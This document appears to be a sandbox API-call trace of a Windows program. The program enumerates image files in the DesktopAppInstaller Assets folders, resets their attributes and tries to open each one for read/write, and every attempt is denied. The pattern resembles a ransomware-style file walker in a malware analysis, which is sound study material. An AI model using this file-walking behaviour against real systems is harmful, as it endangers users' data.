	[0091.805] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageMedTile.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0091.805] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790dc0) returned 1
	[0091.806] FindNextFileW (in: hFindFile=0x477b1e8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d32ed7f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d32ed7f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d32ed7f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageSmallTile.scale-100_contrast-black.png", cAlternateFileName="")) returned 1
	[0091.806] wcscmp (_String1="AppPackageSmallTile.scale-100_contrast-black.png", _String2=".") returned 1
	[0091.806] wcscmp (_String1="AppPackageSmallTile.scale-100_contrast-black.png", _String2="..") returned 1
	[0091.806] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x168) returned 0x4790dc0
	[0091.806] wcscpy (in: _Dest=0x4790dc0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black"
	[0091.806] wcscat (in: _Dest=0x4790dc0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\"
	[0091.806] wcscat (in: _Dest=0x4790dc0, _Source="AppPackageSmallTile.scale-100_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageSmallTile.scale-100_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageSmallTile.scale-100_contrast-black.png"
	[0091.806] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageSmallTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-black\\apppackagesmalltile.scale-100_contrast-black.png")) returned 0x20
	[0091.806] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageSmallTile.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0091.806] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageSmallTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-black\\apppackagesmalltile.scale-100_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.806] GetLastError () returned 0x5
	[0091.806] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageSmallTile.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0091.806] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790dc0) returned 1
	[0091.806] FindNextFileW (in: hFindFile=0x477b1e8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d32ed7f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d32ed7f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d32ed7f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageSplashScreen.scale-100_contrast-black.png", cAlternateFileName="")) returned 1
	[0091.806] wcscmp (_String1="AppPackageSplashScreen.scale-100_contrast-black.png", _String2=".") returned 1
	[0091.806] wcscmp (_String1="AppPackageSplashScreen.scale-100_contrast-black.png", _String2="..") returned 1
	[0091.806] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x16e) returned 0x4790dc0
	[0091.806] wcscpy (in: _Dest=0x4790dc0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black"
	[0091.806] wcscat (in: _Dest=0x4790dc0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\"
	[0091.806] wcscat (in: _Dest=0x4790dc0, _Source="AppPackageSplashScreen.scale-100_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageSplashScreen.scale-100_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageSplashScreen.scale-100_contrast-black.png"
	[0091.807] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageSplashScreen.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-black\\apppackagesplashscreen.scale-100_contrast-black.png")) returned 0x20
	[0091.807] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageSplashScreen.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0091.807] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageSplashScreen.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-black\\apppackagesplashscreen.scale-100_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.807] GetLastError () returned 0x5
	[0091.807] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageSplashScreen.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0091.807] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790dc0) returned 1
	[0091.807] FindNextFileW (in: hFindFile=0x477b1e8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d32ed7f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d32ed7f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d32ed7f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x13d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageStoreLogo.scale-100_contrast-black.png", cAlternateFileName="")) returned 1
	[0091.807] wcscmp (_String1="AppPackageStoreLogo.scale-100_contrast-black.png", _String2=".") returned 1
	[0091.807] wcscmp (_String1="AppPackageStoreLogo.scale-100_contrast-black.png", _String2="..") returned 1
	[0091.807] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x168) returned 0x4790dc0
	[0091.807] wcscpy (in: _Dest=0x4790dc0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black"
	[0091.807] wcscat (in: _Dest=0x4790dc0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\"
	[0091.807] wcscat (in: _Dest=0x4790dc0, _Source="AppPackageStoreLogo.scale-100_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageStoreLogo.scale-100_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageStoreLogo.scale-100_contrast-black.png"
	[0091.807] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageStoreLogo.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-black\\apppackagestorelogo.scale-100_contrast-black.png")) returned 0x20
	[0091.807] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageStoreLogo.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0091.808] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageStoreLogo.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-black\\apppackagestorelogo.scale-100_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.808] GetLastError () returned 0x5
	[0091.808] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageStoreLogo.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0091.808] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790dc0) returned 1
	[0091.808] FindNextFileW (in: hFindFile=0x477b1e8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d32ed7f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d32ed7f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d32ed7f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageWideTile.scale-100_contrast-black.png", cAlternateFileName="")) returned 1
	[0091.808] wcscmp (_String1="AppPackageWideTile.scale-100_contrast-black.png", _String2=".") returned 1
	[0091.808] wcscmp (_String1="AppPackageWideTile.scale-100_contrast-black.png", _String2="..") returned 1
	[0091.808] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x166) returned 0x4790dc0
	[0091.808] wcscpy (in: _Dest=0x4790dc0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black"
	[0091.808] wcscat (in: _Dest=0x4790dc0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\"
	[0091.808] wcscat (in: _Dest=0x4790dc0, _Source="AppPackageWideTile.scale-100_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageWideTile.scale-100_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageWideTile.scale-100_contrast-black.png"
	[0091.808] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageWideTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-black\\apppackagewidetile.scale-100_contrast-black.png")) returned 0x20
	[0091.810] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageWideTile.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0091.810] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageWideTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-black\\apppackagewidetile.scale-100_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.810] GetLastError () returned 0x5
	[0091.810] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageWideTile.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0091.811] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790dc0) returned 1
	[0091.811] FindNextFileW (in: hFindFile=0x477b1e8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d32ed7f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d32ed7f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d32ed7f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageWideTile.scale-100_contrast-black.png", cAlternateFileName="")) returned 0
	[0091.811] FindClose (in: hFindFile=0x477b1e8 | out: hFindFile=0x477b1e8) returned 1
	[0091.811] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502f968) returned 1
	[0091.811] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89108) returned 1
	[0091.811] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4716ae0) returned 1
	[0091.811] FindNextFileW (in: hFindFile=0x2dacbf8, lpFindFileData=0x4745ed8 | out: lpFindFileData=0x4745ed8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d32ed7f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab1d0bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9d37b231, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1
	[0091.812] wcscmp (_String1="contrast-white", _String2=".") returned 1
	[0091.812] wcscmp (_String1="contrast-white", _String2="..") returned 1
	[0091.812] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x106) returned 0x4717288
	[0091.812] wcscpy (in: _Dest=0x4717288, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0091.812] wcscat (in: _Dest=0x4717288, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0091.812] wcscat (in: _Dest=0x4717288, _Source="contrast-white" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white"
	[0091.812] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x2d89108
	[0091.812] wcscpy (in: _Dest=0x2d89108, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white"
	[0091.812] wcscat (in: _Dest=0x2d89108, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\"
	[0091.812] wcscat (in: _Dest=0x2d89108, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\*"
	[0091.812] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x5030f10
	[0091.812] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\*", lpFindFileData=0x5030f10 | out: lpFindFileData=0x5030f10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d32ed7f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab1d0bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9d37b231, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b268
	[0091.814] wcscmp (_String1=".", _String2=".") returned 0
	[0091.814] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x5030f10 | out: lpFindFileData=0x5030f10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d32ed7f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab1d0bd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9d37b231, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.815] wcscmp (_String1="..", _String2=".") returned 1
	[0091.815] wcscmp (_String1="..", _String2="..") returned 0
	[0091.815] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x5030f10 | out: lpFindFileData=0x5030f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d32ed7f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d32ed7f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d32ed7f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageAppList.scale-100_contrast-white.png", cAlternateFileName="")) returned 1
	[0091.815] wcscmp (_String1="AppPackageAppList.scale-100_contrast-white.png", _String2=".") returned 1
	[0091.815] wcscmp (_String1="AppPackageAppList.scale-100_contrast-white.png", _String2="..") returned 1
	[0091.815] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x164) returned 0x4790dc0
	[0091.815] wcscpy (in: _Dest=0x4790dc0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white"
	[0091.815] wcscat (in: _Dest=0x4790dc0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\"
	[0091.815] wcscat (in: _Dest=0x4790dc0, _Source="AppPackageAppList.scale-100_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.scale-100_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.scale-100_contrast-white.png"
	[0091.815] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-white\\apppackageapplist.scale-100_contrast-white.png")) returned 0x20
	[0091.817] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0091.817] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\contrast-white\\apppackageapplist.scale-100_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.817] GetLastError () returned 0x5
	[0091.817] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0091.817] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790dc0) returned 1
	[0091.817] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x5030f10 | out: lpFindFileData=0x5030f10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d354fd8, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9d354fd8, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9d354fd8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPackageBadgeLogo.scale-100_contrast-white.png", cAlternateFileName="")) returned 1
	[0091.817] wcscmp (_String1="AppPackageBadgeLogo.scale-100_contrast-white.png", _String2=".") returned 1
	[0091.817] wcscmp (_String1="AppPackageBadgeLogo.scale-100_contrast-white.png", _String2="..") returned 1
	[0091.817] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x168) returned 0x4790dc0
